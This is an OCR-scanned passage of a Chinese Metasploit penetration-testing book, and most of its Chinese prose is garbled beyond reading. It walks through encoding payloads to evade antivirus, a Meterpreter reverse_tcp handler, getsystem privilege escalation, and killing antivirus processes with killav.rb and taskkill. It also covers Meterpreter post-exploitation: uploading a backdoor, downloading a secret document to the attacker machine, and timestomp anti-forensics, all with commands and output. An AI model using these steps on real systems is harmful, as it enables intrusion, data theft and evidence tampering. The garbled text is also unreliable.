msfencode -e x86/shikata ga nai -c 20 -t vbs > .local/cmdtest2.vbs

[*] x86/shikata ga nai succeeded with size 317 (iteration=1)
[*] xB6/shikata_ga nai succeeded with size 344 (iteration=2)

[*] x86/shikata ga_nai succeeded with size 371 (iteration=3)

[*] xB86/shikata ga nai succeeded with size 803 (iteration=19)

[*] xB6/shikata ga nai succeeded with size B30 (iteration=20)

THER T PR B, ME—FXNAER exe BN VBS, B M AIETHE
B, LUSRAE 75 7 i By AT B A0t . 3K — BT B TR RS 5 H FRiLAS 6 By o 2 AR 1 DR A
FHI2PE T shell . L 0] LIF A multi/handler Bk (R P ifigid) &8 W RF,
HEFFAAT G K B HARPLAE I B n) %

AN L5E4 R L2l BGhE 8AT S it a8 ) 5 Fh 4l G ok JEat Y, sEls b, BT
EFPAE A A2k, IRGRII AT BErEsi8 K. k4h, msfpayload 5 msfencode it
HRZEAHEROIN, FEUGEE FahZ S MAR ALK, B A S8R, K
R g .

ERIE

Gl 3% L H T4 shellcode I AR5 A By 98 B B AF i R A 97 5. shikata ga nai %%
AR 2 28 XOR 50K, %288 H 8h 2L i) gats 1F 4 4mi% 4%, shikata_ga nai
2R RRE T HAE A T BB ER, XAMEAR R RT3 I A iR —
MABATHY . EEARE T, AR OSMESR stub SMEFERA. EARBLEN TH—
ARG e, R B A R B E AN WL R AT, CAMEAE shellcode 7EBH i # 4K
P IR .

L & 2

1= 3k —Fh oo R, LA AR 25 AS [ (0 B 978 B 4 0 0 Bl B e Tk, /—
T e R o B A AT LA Hh 4 6 ) ) 0 A
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{# F VirusTotal FE{TIRIER 2 HELITHE

VirusTotal J&—AN7EZ R U5 T H, AT ORI SO 2 AN Bidi s AT 34, LA
(3 75 B0, L o A R 0 A 2 R SR T DA gl . R AT BUKE B G4 S S 1Y BB AT 3 AT F
VirusTotal #7434, CMESAAWHRH R BHRAHEEEEE, ZRATHIAGY

Jii BB AT A 75 A A
J T analyzes sus.pucmu:a ﬂ[es and URLs and fa

Chopee Fie
Iga murn Me zere JJMB

fou may prefer to scan a URL er search through the VeusTotal datases

VirusTotal R] UL it Mk http://www.virustotal.com Vi), %M 552k P AL 5 Bl
FH 22 3K B9 85 7= b EAT I SO, B e G 2 RS R .

4.8 [ killav.rb BHIASEE H 595 25k 1k

£ L1, FATESENA Tl H TS %) 5 by 8 SRR HF4T THR R 216 1 %
FIEeR. B FORIIMERE: WRTGEMNERRG D FEOCH, SREEH b 2R i id %27
5 RERTRES | AP BE A 5%, ik, B TR HBRREMERESEZE, T PR
WRBERB R R . AN EENAR, ERIEBEEF RS H bRl L3,
A5 FH B 9 T3 AP 2 A B

ERTT, KA LR Al B meterpreter A, fE/FHIMAERESE]

UH# meterpreter fil4<, FtEUXH XS meterpreter BIARI Gy & ATR /T —FE¥X meterpreter
AT VEAR 7T RO -

-4
H 45X meterpreter 31T W] 24128 . Meterpreter J& —Fl S hfE, I3RS THEH
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PrpLES LHAT A IRES) . Meterpreter A2 1TAEREAR, H T/EHLERALF DLL A, I
AN TR ITHBELS GE¥E AT shellcode 1) FIKEMLY, FRIF. i
. Ry RN, HIhfeMrERER & LA BiEE FIR 7E H Fablas L T1E. Meterpreter (1)
M5 I T stager socket [, FHRHE T Z K ruby API. {# ] windows/ meterpreter/ H 3%
o] BT, BT LLIREL Meterpreter shell. A, FATE(EHAEEEEAT & windows/
meterpreter/reverse tep, HARHLES 2 Windows 7, H_izdT B i 8 8k 44 /& ESET NOD32.

7E msfconsole =& 7 W3 W B2 7 H- 2 R S 1n)

msf > use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit(handler) > show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technigque: seh..
LHOST 192.168.56.101 vyes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Wildcard Target

msf exploit(handler) > exploit
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[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...

ERLH
(1) MW RFaE & Bies . &5 WBGHTE HARHLEE L Zh AT ), R AEX0 5 Hlas /9

msfconsole 7 & i/ meterpreter 215 .

[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 copened (192.168.56.101:4444 ->

192.168.56.1:49188) at 2011-11-29 13:26:55 +0530

meterpreter >

(2) AT getuid 74, M2 LRIV BARRER KA P4, ZH PR R E
BEH, BRBUR BRI .

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

(3) MR H P2 KE, UFEARSCHARENETEANE, FHF—MESH
RFBRIEABEE G, DMELE HIRPE ERIT R AR L. ] getsystem 4,
i &R 2N PR B R B B .

meterpreter > getsystem

...got system (via technique 4)..

(4) NGERATLLEF|, getsystem fird CL48 i h i technique 4 (KiTrapOD J& i # F
RIS BT T BURSETH, FRAEA getuid An-%, AU EHRBUSH ID.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

(5) MAECR&EETHEANR, & TRMEM ps 2 BARREFIBITHHHER,
DA A i MR S AR S B BRI HAR R PEAT MPIR B AE CT T A% 31T T — 22

ik LA IE Y 7 22D
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FID Name User Path

1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.
1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1152 dsmonitor.exe DARKLORD-PCA\DARKLORD C:\Program Files\Uni.

1744 egui.exe DARKLORD-PCA\DARKLORD C:\Program Files\ESET\
ESET NOD32 Antivirus\egui.exe

1832 eset.exe NT AUTHORITY\SYSTEM C:\Program Files\ESET\
ESET NOD32 Antivirus\eset.exe

(6) M LT fY) Name F1 Path %Jeb, 7] LAIR 28 5 Mo iR 50 1 B T 559 85 501 S ) f E
fEAREh, FHRAHREATTHIRRET KB REDIRE, 2 5JE eguiexe F esetexe. #F
K2 21 EREAE ] Metasploit 2% 13X s EFE

EHIE

Meterpreter $& {1t T — M EHH HIH killavrb JIAS, o] HF45 11 H AR R G iz 47 i1 By i 1
PAFIFRI R I, 7EI81T4 ESET NOD32 (¥) Windows 7 HbrHL#s L3RI .

meterpreter > run killav

[*] Killing Antivirus services on the target...

Run 774 ] 77 meterpreter FH4T Ruby M4, MIABATE, wLAFHRN RE PiglT
R EAT R A, CMEMIAR S IA ViR R R C Ll IhaE . B d it
BRECEAmIIH, WEWEVRGRAFCLE RIS i EER, v] DU 2245 7
U — B HEE e A .

H XL R IEEATP? 75 F B HAE N R T £
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4.9 FPERE killav.rb JHIA

M E—H T, BATEBENA T EFEA killavorb BIAREE 1 HARHLEE L2478 i
TR, (B RX L HR P REIT R A TR IR E 470 ? WM G A
AMATRER R, 3L killavrb BIACH)F1 2 84T G 3 X LB s PRIt RE , L — Xy
PR LIRS M AEE R R B RZT R . ANeh, FRATHRE 2ol g 22 ]

&

M T £ 1E B meterpreter 215G, B CLMH T killavab BIAS, {HE; a4
WRRANRTEIZAT, HH ps fw4 0] LUE BT 3R .

PID Name User Path

1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.
1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1152 dsmonitor.exe DARKLORD-PCMA\DARKLORD C:\Program Files\Uni.

1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ESET
NOD32 Antivirus\egui.exe

1832 eset.ece NT AUTHORITY\SYSTEM C:\Program Files\ESET\ESET
NOD32 Antivirus\eset.exe s

MERTULER], M T killavab A Z 5, PIAPTR R ERRAF7E. BEF XK
F— T killav.rb B4+ 1) B4R 75

(1) EHEFMEH killavoed A, 3TIF—AF K& %5 O, D)% 2] /pentest/exploits/
framework3/scripts/meterpreter H 3% .

root@bt: cd /pentest/exploits/framework3/scripts/meterpreter
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root@bt: /pentest/exploits/framework3/scripts/meterpreter# vim
killav.rb

(2) Vim j& UNIX S —MRER G, LR LT TR EA, [ Far LU
HAPH| & Fh e, XEHRES R ZAAT IR IERHERE, REBINER, FH
th R EFLFE eset.exe Ml eguiexe, WIRAEE, WMAEF|RPEMIXPEHE. EHE) vim )
i, Wi TR LN a EREHHAEER. HEAX—EA)S, e U A
A HEFR B 2 s X Py A 20 .

@@exec opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}

print status("Killing Antivirus services on the target...")
avs = %W{

egui.exe

eset.exe

ARWTray.exe

Ad-Aware.exe

MSASCui.exe

_avp32.exe

(3) FHMAHEREHXHAERCLFEMBNZFIREATE, FEBRHEARK, %
Esc f: HERMFMA, . &, ENSEHGITRAN, A wq, RFBEUEHHZE
FIR H w25 -

tWg
(4) [A[3E % meterpreter 21, HXAT killavrb A, FEALEHLI R .

meterpreter > run killav.rb

[*] Killing Antivirus services on the target...
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[*] Killing off egui.exe...

[*] KEilling off eset.exe--

(5) Hitifs BEm, ZMAC Rshi A T KPR . a2 B B i Spf
WSS E, AT ps dr 4 TRE G E BT T HIED .

meterpretr> ps

PID Hame User Fath

1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.
1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windowshsystem32\.
1140 stacsv.exe HT AUTHORITY\SYSTEM C:\Windows\System32\ .

1152 dsmonitor.exe DARKLORD-PCA\DARELORD C:\Program Files\Uni.

MES AT LA B, & ALFAE ESET B SRS 035 BUERE, 33X 38 W 12 B A plg xh b 2% F
PR X BIRETH R s TSR TERA PRI B AR A LR R B A
e .

BEIE..

i A R AT P R Y killavard A, ZWALELEE (%W) BEXAET -
MrEREETRIE, EMARE S A S R B AR TR R IR,

client.sys.process.get_processes() .each do |x|
if (avs.index (x["'name"'].downcase))
print_status("Killing off #{x['name']}...")
client.sys.process.kill (x["pid"])
end

end

355 B JLATACHE & SUIRTS 28 . M A IR el b it R A 7E H s R b F4RICAS, 8
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BJEAER processkill M¥AE ILZHR, WM —HIET, HEERATHHAOESH
PRAGE ] R ILAC e B .

4.10 Moyt h AR b sE kRS

fE E—9eh, AT A killav.rb JIAS G B s s AP ERR VIR AFE TP ) L, JF
P T AN, B killavarb 513 ARASFFEEEBERE RIIE OL . FEASTT P BRATTRS R o5
AN, B HBRHLES b B R AR LUIR S5 i AE R R B AT TG B . ESER T Tkt
T2 Al 55 B4 2253 o

RV EN P IBT AR AR R AU SN JH B, A SRR R
BANLTRBIN, F7EEENE RS, XERG SR ATV R 5%, HALRE
DUV HR 448 5 A AL X L T ik AT Ui i) . iR R T R, MRS ZET REM .

7 9 T ARt AT LR SRR A AF UBR 5 02T, Bl 7 iR uE4% . Web )it
EAFSE. T killavarb JAAGEREAI RS, ik, BOELEATZMIALE (bR, BB
R %5 SLEDRF R 3, BBCERCR oL T, RIS AE A B ARE 1 A s 35 KA 0L 7S
(HEFRAEH ps 32 WA VX EeBERRIIRAFAE,  JF 7T CLAENT H B S5 8P 0 S 2o 4 2
CARR S5 24T 1, JF A 57 S S A DR

&

MIXPE—A I ITeG: HARPLBEHZE T2 Windows 7, H FiZEATIE AVG 10 P # ik
%, e Ca LT 3R EH AR B ARPLA H9E K meterpreter 25 .

BRI

(1) FHKAEH Windows a2 AT#EFF, FrLlsEfEl HarpLaS g P41 I —an &
N

meterpreter > shell
Process 3324 created.

Channel 1 created.

C:\WINDOWS\system32>

(2) A tasklist iy F & F] HIOAES, MH/SVC 285 H DUR S Bz T a3t
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B, T OaAnE AR ELEET 08 AVG B s ecrE, BT UL B A &
BT avg MRS, BB M0 4T B 00 F iR

C:\WINDOWS\system32>tasklist /SVC | find /I "avg"
tasklist /SvVC | find /I "avg"

avgchsvx.exe 260 N/A
avgrsx.exe 264 N/A
avgocsIrvx.exe 6lé N/A
AVGIDSAgent.exe 1664 AVGIDSAgent
avgwdsvc.exe 116 avg9wd
avgemc.exe 1728 avg9emc

APERATTR AT LA B AVG B 8 2K 1 56 B I B R BRSSO FF . 8 F RIBAT 45 AT
55 BERE iy 258 P A1 25 F BH 1L B s B 4K 1 Bl 4

(3) FIRMEADERCAT RS LU avg 1E B R 4RSS .

C:\WINDOWS\system32>taskkill /F /IM "avg*"

LiRPH/FE ZHH TG EERE . F i fr &6 B A A5 H H brpLas Lig4T 9 & Fh Bl
WEERIERS . ATTAFLARE HEEROBR, H T RESBE 55 B, (Hi
FH IERS B iy 2 A8 AT AR B

EHIE..

W AR 2 RE RGN 2T PR RS . @3] HARPLEE 1035 BX shell &1iF, #J
LB L shell BLap 4 ) AT X 2640 H .

EE..
45 R By 85 A IR 5 TS RAFAE 2 SR ?

BLRFZIEFER—ZEAM?

ATRERT JLPP IR . 10 RELE AR 45 H taskkill fr & ST, T YexX— )8, arel
22l H net stop W45 sc config in4. B BEE IR AT web M35 o [ 12X 9 & iy & 1
MICHZE, B R A E A R R . IX 0 SR &4 Bh T4 1 A% P AR 26 { A taskkill iy
ST MBI AR S .






BOHE

{£ | meterpreter % 2 X & BH 5

AEYHE FIEN R

43T meterpreter RS
AR $8 T+ AR

5 HE % HiEEEIE,
meterpreter 3 ARG %
i timestomp B 04 JE 1
{# F meterpreter [ %% iy 4>;
getdesktop 5 keystroke 5 t;

i i scraper meterpreter il A< .

51 5|

FIHW AL, RPAFEEERER “Grg&E” ris 221 & R [ SR R i
FIRACHI BB HAntLaf . AFDROQHERIR “JRi8i&” HrB——FE D) SEILAT H Frblas i 2
{83 J5 & ] LA (14 7 Metasploit 324t T —FpIh gk % 98 K H) J5121%E T A meterpreter,
Z T HARZEHIGE, FREEFISESRENBEEINES . 577k PS4k
BB AT, 2S8W AT meterpreter {8 HMS2EN B HZE, RFRIFEHNH
meterpreter, UL EFIEEEBEMNBPER.

BATZ AT VRS R Bah B R B4 R, (HIXF A — /MR KW, BT8GR
By A ZUAE HARLAS A B g RR, BN ERAERE SSRGS, i8R 8EShiT
Mo MAh, BB mAED) e LR IRE], DUPAT R 208y € A 55 8L TE shell Ha] LLIZ AT 4 &
e, BErRXEAL, FHEHH 2 meterpreter.
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meterpreter /& Metasploit 7 AR 8%, 7T LLAE A didinr, JFEM AT DLL A
AR GRS S50, meterpreter MR STEMBGEHRER L FCP THE, MNiAdE
ST BTt E, A1yt S8 B moR SE 55 K.

T HiFH — T meterpreter ] TYEHLEE, B REREZINE meterpreter (] F K.

[ WA RS + 35— B B i :>

< T it 4874 12 1 15 23] MSF |

| R B DLLTEA R >

| MSF % ik meterpreter /i % & DLL >

< RPRSMABERE >

H5E, WA RS P BB S e g X B B ARPLES, AT)E, 5 BT
85, I & n) [B1% B Bl 77 msfeonole, #EZ Hili 77 i H bR L8 2 (A] Al 15 {5 1 .
SR 5 stager IN#% DLL, msfconsole A X% —FirBt DLL HEA AT, IhiEANJG, MSF &
i%X meterpreter DLL LAE L IE# A0 (5018 . 55, meterpreter IN#X stdapi H1 priv 54"
J&. B X ey R n#El 246 H TLV Phill#E TLS/1.0 E#E4T ). Meterpreter {8 Fi &
RS B P 3Tl E R 1S — KI%. Ptk 24 — T meterpreter AHXT 4% & X
oy B A L

TER R R CA T, A EaIEB .
ST HBLZAER.
TRMEBAENFT, A EX AT S A BRE.
{8 R b & 3 1

R EAREE RS, AT AE RS JLAME LS.
WP T — Al APRIE R e S 8RB 6 -

AKEMEENBENNAMEH meterpreter I Fhdr S M AE R HIrHL28. B %
X1 % H B meterpreter #p 24T 047, RENMHELAFPLEGHFEIE. M2 HEH .
keyboard MiWTrSE W 2, BJ5 i1 scraper meterpreter A, ZM A LIGIE A S Hir
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AP &fE R R E . AT ERRERBTX OB H R ETRR I 67 A
WEF.,

FIfI B 55X meterpreter B#EATIR AT .

5.2  4rHT meterpreter ZRGE M4

B 56 H meterpreter fr4 T R ThfiE. BT meterpreter & /5 BB B T, P E
— & CXBFEH H ARV R AT a4, X B IBRAME FH B2 F 3 W23 A4 Windows 7
PLAEAE AN HbR, AT DUl B 28 4.3 WP o A A T BvEgfE &

b3

{i# F Bk 38/ windows/meterpreter/bind_tep B[4 Windows 7 H Fr#l2%, k1% meterpreter
LS. EESTEPHAN? 4, 0 F 24 n] B 1Y) meierpreter iy 4~ M Ho 1) f ik .

meterpreter > ?

PROEX A a2 IR, HPRIRE o8& SRR .

ERLH
Pl 2T R G2

e background: @M TR YIS IERENT R, DEETENER. S&7EGFE
Z 1> meterpreter 2% B .

o getuid: QM TIEM HARHLE EOBBER S IEAZITIR 4.

meterpreter > getuid

Server username: DARKELORD-PC\DARKLORD

o getpid: %A T IR[EI M F[IZ1T meterpreter [{HEFE ID .

meterpreter > getpid
Current pid: 4124

o ps: iz @M THIH HERHLEE FAFET M AR . ZadahT a5 Btz
1T B R FO AR 55
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meterpreter > ps

PID Name Arch Session User

0 [System Process]

1072 svchost.exe

1172 rundll32.exe xB6 1 DARKLORD-PC\DARKLORD

o sysinfo: LA TREFARGGER, BlABRERENAERLEH.

meterpreter > sysinfo

Computer : DARKLORD-PEC
0s : Windows 7 (Build 7264).
Architecture : x86

System Language : en_US

Meterpreter : xB86/win32

o shell: XAy T4 shell $&5FF, TERTHIF B ELW fodiX—am2 .

met erpreter > shel 1

Process 4208 created.
Channel 1 created.
Microsoft Windows [Version 6.1. 7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

o exit: xind A T2 1k meterpreter 2 1f, S T2k shell 2% 3% [A] meterpreter.

AT EUME A _E 5 X e S R OB H AR USRI E RS E. LR R AL
HAh 4, BOFEHREWBMER. X2 meterpreter > HRE HIFV BT HEE RS . &
[0 B 3| — 2875 25 ¥] meterpreter 74 .

ERIE

Meterpreter [ TEJ7 25 H Ay & BB AE 40, T DABRAR 30 3 fy & 4% A 0 B3 %t
HAHATWIN . Meterpreter F74E T DI T KB BHE, I 5BFENA T HLAEH L% P 30/ R
FAlfE RS
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meterpreter iy 4 L s
AR :> |

meterpreter [ 55 2% W F

8125 M 1A 77 B3R

FERERT meterpreter ) TEJEHE ., #LB{E(E1E, [ meterpreter fR4528 KiX v 2iM
A, HFR XN B AR WA . BEE AT N ARHERE, EESXBENR T PLA8 M8
b HARHLAS Z 8] ROE (5 A R I EL R

5.3 BURETRGERTR

AN A meterpreter PR A AM@S, —MEWREH, —MEHBEITE.
BUPR$ Tty & F T B & 72 B AR HLAS P B, B8 04 2 LUBURR B B L 7 54
B EBRZER, BrUifdZ= = 28 B AR LMEER EERPATHNAES . H#RTB G
LPHTN—AEBRIB RS — R, AR ENEERTERAS ASRE.

EHTHN

ASLIRARIETT, FIFIFA meterpreter ) getsystem fr¥. %4 Bz FHLEF Al fERE
RIEAR, EMER A AR BSE . FEIHT getsystem x> FIAFRIEA

meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:
-t <opt> The technique to use. (Default to '0').

: All techniques available

: Service - Named Pipe Impérsmnation (In Memory/Admin)
: Service - Named Pipe Impersonation (Dropper/Admin)

: Service - Token Duplication (In Memory/Admin)

: Exploit - KiTrapOD (In Memory/User)

B W N = O
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EHIE

Getsystem iy FH 3 FAFR ARSI RIZT . BUAE 0 2 A HBEARAER
. R E AR '

45 BB A Hh e AR Y AR PR 7E R N EATIE S AL, BN R R A
TiEMRS s, SHETERNNABRFRIE D . R ERENERBER AR T E
BRI B ZPATERAIERIRE T), IXFP 8 0 AT DAE A R 95 A R FARR 2 P S AT, (H AT
JRFRER P i) %4 LT X2 W SR % 5 i i BUR Lk 5 4% /5, sl Bl @,
BOUREA B IZ R, FROb oy 2 W IE BRI it

~ X oL EEHRAGFRAANK, AL http:/hackingalert.blogspot.com/
2011/12/namedpipe-impersonation-attacks.html

BAERG NP A P ERME T —E 2 M ID, % ID HTRARZ S A
5 P BV AT AR 2 30 - 4 P 3 7 %) T4 I BRI LR PR 7 SO e BB P 4 b, AR
Je AR AR A 7 g mT LUK 5 S B A P A R 04T 0 B, JF B s AU A 7 /9 B A BB
HIHRRE .

KiTrapOD &) FHACHS R 2010 4= LR R A H, JLT-3Em 2] 48 68K 0 B R F R 4.
FEOZNTE A R R, 7E 32 £7 x86 ‘& LAV 16 AN RN, B IEF%UFE &
() BIOS Vi H, AHhi /o] EAZEHISIRESR (TEB) H{hi VDM TIB ¥l 454, R RS
iR b Ak B2 40 5 #GP trap handler (nt!KiTrapOD)(F) 5 76 15 8¢, A g SREBUCE P2 G ALPR , 1208 5t
&AM “Windows N 79 BRI R 7.

PR T getsystem ap 2 IS FBURIEAHEARZ 5, £ FRAEHFR AT getsystem
. BN getuid SRS ETH /7 ID, RG22 E A getsystem #ir 23 FHHLIR .

meterpreter > getuid
Server username: DARKLORD-PC\DARKLORD

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
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MERATLUER], ) getsystem i@ )5, [RA FRARA P 3T 9 RGAURA -

R RKAHE M ) — AN EE ) meterpreter % /& migrate, %A AR FX
8 B KA SR . S TGRS IE R O RE A I O T, B ) P ) 28 U
P HARPL2S, HBGHSE G N ST Re R A P oCcH . TBIRENRAHERE)
FMRAPATIZEWRAT S5 . WIEHEFE ID, AT UGB EMERE R . [EH ps 2 LRI
A G EKHERE ID, Flin, R explorerexe ] ID 24 2084, WJnAJ LM ik F il )6y 4L 55 3

explorer.exe.

meterpreter > migrate 2084
[*] Migrating to 2084...

[*] Migration completed successfully.

LL ¥ %% meterpreter fr 2 AAEH M, JHHE &, BEMNKPSHEEH .
6 F AR RS IS (5 A B RS B bnilt AT ROl (5 .

5.4 SHbsE Yy ZHEBEEE

AV E YRR S HARE T & ERMEGS . AFM5]1E P OHRT, meterpreter P
i 5 IR 4528 A R NS 1, AT B KB (TLV) PrisGAT 8R4 . 16 H TLV thil
PRI A1 2 T A A e s A S 0 M b2, AT Fe i HARHLER 3B 4T I B ANEIE 5 3
i T HL 28 ) meterpreter #EATHESE, #-F RN 2MEEFE.

T4 — FEFAE R meterpreter 5 HARHL A8 7 £ Hili {5518,

-3

Meterpreter ' [] execute #g2, W T ish® Eili{F{E1H. B 5CIE1T execute —h WA
W 46 A P 36 T

meterpreter > execute -h
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:
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-H Create the process hidden from view.

-a <opt> The arguments to pass to the command.

ol - Channelized I/0 (required for interaction).

-d <opt> The '"dummy' executable to launch when using -m.

-f <opt> The executable command to run.

-h Help menu.

-i Interact with the process after creating it.

.=k Execute process on the meterpreters current desktop
-m Execute from memory.

-s <opt> Execute process in a given session as the session user

-t Execute process with currently impersonated thread token

A H Y/ execute Aiy-4 ] LL{E ] B &R S 8O ILVER, BT LU AP ) R e s R
By LHGEEE.

ERITH
EalEEE{EE, LRS- S8 execute T4 .

meterpreter > execute -f notepad.exe -c

Process 5708 created.

Channel 1 created.

AR LHGSPHAISEEH, K, f SEHTRETHITGS, -« S2HA T
VARIEAR VO, #FRIET] AGRELIZAT iz & A s HAL(EIE, WA EL - 451{F1E.

meterpreter > execute -f cmd.exe -c

Process 4472 created.
Channel 2 created.

meterpreter > execute -f calc.exe -c

Process 6000 created.

Channel 3 created.

MERTTUFRRACLEBHIE LB T 3 FRMNESTRBGEEE, 22504 aH
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f5il, AILAMEH channel - #r@. WIRTEER —MEEPRIEHFEREAGEE, "TLEH
write 7% LR EGA(FIER ID. FHEHZEREREESSAH BRG]

meterpreter > write 5

Enter data followed by a '.' on an empty line:
Metasploit!!

[*] Wrote 13 bytes to channel 5.

HARIE ID BT write B4 5, & HBIBURERBAREE I LA SR, M 45 R
IR, SRIE(EIES S A “Metasploit!! 7. {1 R EFEBGEAMEE R EAHE, AT LA#F read
e, HLLZEE ID fEAS

MATESREAMMGERATZE, WA MEA interact fr4, HLUX(FE ID EASH.

meterpreter > interact 2

Interacting with channel 2...

Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\DARKLORD\Desktop>

MERATULER], (518 2 BN TIRAFHEIE, (€ interact fy &7 HEHE N %y
LATHRFR, HERPPITRE WL . FIH interact frd>, 7 LLEFA HOE (518 2 [6)34T
i, BEOERAMEE, ATLMER close 4, JFLLZ(FIE ID fEASH.

EEAMANARRR T RS ML, R BT RT3 A AR
(U2 RIS, MTELE FARHLIS LIEAT S ARG, (AN R R .

TR O W faT i FH meterpreter #8%8 H ARHL28 (4 30 HF R 4L

EHIE

Metasploit £ IR FIMFIE ID ARRAFHEIAREE, XA BT U & fir & B iz ZE A
BgIE R b R SCHPAT - Meterpreter (8 (5 8A4E TLV P1X, 7 BT %2518 ID WA
HEMAREE, HIROET BEIEEE LR
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5.5 meterpreter LIRS MA

AN HA R G ML, XM OH M TRECARGIFPITEMES, Bt
MR P& H RS, X8k ER meterpreter | H ARHLASE R AR A5 -

BRI

BN pwd W2, iZir @M A H A0 T B PRoLES -~ Hok . R0, cd i<
A LU AT H SR V13 H AR H X

meterpreter > pwd
C:\Users\DARKLORD\Desktop

meterpreter > cd c:\

meterpreter > pwd
oy

MERATLLF B, B pwd ar-@50H T S8 TEE R, REHEH cd v M 245650
HREDIE] c: H3R, WEORTGE, T LLEA] Is ap2 5 H =50 H X Bre & a9 Scft.

B PoREW A 8P E M. MBS HZANTFHFANE CHRBAEN, Atk
a] L{E F search iy 2 PRIEFR R & 00 SCHRRL, W Rl A Bl BT s .

meterpreter > search -f *.doc -d c:\

iz 7L C BN LEIAT Ll.doc 1E AT AR I, Hrp-f FTiREEREm
AR, -d B2E0H TREEA B FRMTHRE.

RPN )G, fE HERPLES LA P82, B R 20RO R R B B
FiEERSE

meterpreter > download d:\secret.doc /root

[*] downloading: d:secret.doc -> /root/d:secret.doc

[*] downloaded : d:secret.doc -> /root/d:secret.doc
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il it {4 download w34, ¥ HArbL2% AR SO FEBI Bk mpLas. MR nTLIE 3|,
2045 d:\secret.doc 3CAF 83 H i A ML 2R ) root 3.

Ffoisth, W] LL{E A upload fiy & KiAEE 3L A% R H brblas.

meterpreter > upload /root/backdoor.exe d:\

[*] upleading : /root/backdoor.exe -> d:\

[*] uploaded : /root/backdoor.exe -> d:\\backdoor.exe

i, A UAER] del fiv-4 M H ARHLAS M BR SCPFER H 3% .

meterpreter > del d:\backdoor.exe

EHIE

i VAT B ar A PRRTF, meterpreter BT H % HARHL AR 524 V7 AR .
WA PAANMEH shell 221, 1fy4# FER A K] Windows R4 DOS #i=, {H DOS AR &4 %1
Dhie. PARNFELZWERE/RT meterpreter H I L EE RG4S, MER BRI PH
A RAE B . SE6R I meterpreter iU & 1R £ HAhdv 4, HUUH M £24R.

E T4 timestomp fr 4, X2 — 4 dEH HEE ) meterpreter iv4>, 0 Tk
H L8 o 0 SO IR A .

5.6 {EH] timestomp P 5CCE R TE

B, BAINHET S HE A K meterpreter X RS M4, A H 176 Hbnbl
ay FHAT B FPMES . Meterpreter FIAAL 7 55— & B E ) timestomp 14, M4 H T H %L
fFHIER-r 18- 8- A0 (MACE) JEtt. B2 1% R4 MACE #:4ERH H A
6], fEH timestomp 774 7] DL S B0 B4 .

&

AT AZAE S MACE {2 R4 8 25109 # 2 Ad F AR N B AR B 2 R ) MACE
5, CMELLHAR B —HAERR D, M8 el i, RIARL vkt
AN, EHELO AT S R SO, DA A TR S S R . Rk, 5
B MACE fHJA, SCPEBRAS S H BRI 31U 1) S o5 st o B A A e oA T P ke o R
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MACE {E& 54T 4, (B timestomp -4 {/34R & 1R 5 (@)
M B BEHL2E P E — A S B M MACE B, FEEMEA AR timestomp

fir & Z A ) #%-Ff MACE 18

Created; Yesterday, December 12, 2011, 4:37.47 FM
| Modfied:  Yesterday. December 12, 2011, 4:37:48 PM
Accessed: Yesterday, December 12, 2011, 43748 PM

Pitibutes:  [T1Readonly [ Hidden [ Advanced... | |
;

Location: DA
| Sze: 25.5 KB (26,112 bytes)
| Szeondsk 28.0K8 (28672bytes)

#9 secret.doc Properties

.- E- 1

Geners [ Socuy | s | Dt | rovus Verann

Microsoft Office Word 97 - 2003 Document { doc)

v, Microsoht Office Word |

FE TR BOZ A % P MACE {H. 8554 A timestomp —h iy 2 W 6245 Wk 24 n] F 1) 3k
I, Al -v 2809 HiZ 30 1) MACE @ tE1E .

meterpreter > timestomp d:\secret.doc -v

Modified : 2011-12-12
Accessed : 2011-12-12
Created : 2011-12-12

Entry Modified: 2011-12-12

EHTH

16:37:48
16:37:48
16:37:47
16:47:56

+0530
+0530
+0530
+0530

HAEBEOZ SRR ], 7R timestomp i 4 A% A [ S8

meterpreter > timestomp d:\secret.doc -c

"3/13/2013 13:13:13"

[*] Setting specific MACE attributes on d:secret.doc
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EHIE

-c #HRAEFFH T SO EIER I E], R, FTLMER-m. -a Z5050 5 E SO B
eSO 1) B J — X U ] B (] <8 J A

meterpreter > timestomp d:\secret.doc -m "3/13/2013 13:13:23"
[*] Setting specific MACE attributes on d:secret.doc
meterpreter > timestomp d:\secret.doc -a "3/13/2013 13:13:33"

[*] Setting specific MACE attributes on d:secret.doc

At EE S, aTUEH - SERER SRS RIIRAT. RS R

meterpreter > timestomp d:\secret.doc -v

Modified : 2013-03-13 13:13:13 +0530
Accessed : 2013-03-13 13:13:23 +0530
Created : 2013-03-13 13:13:33 40530

Entry Modified: 2013-03-13 13:13:13 +0530

MG R AT LA B 48 D B SO ) MACE @, 1230 B8 2 7030 193 58 o4l v 1)
SCAFFRE B

HMIER, -z 28— KB HSCUF T 4 ™~ MACE 8, 1A & 2440515
. HR R B2z ZEOFTH 4 > MACE J&IEBAHE E, imiskhs XA RER, Al
I TRLRIG o) BN 1) 5 5 2 A 2200, IRk, iz el -z 280

AP ESNA T timestomp w4, 76 F 84— L4 /) meterpreter #ir4, X4
A2 H B TR RE .

5.7 {#)1] meterpreter %% i A

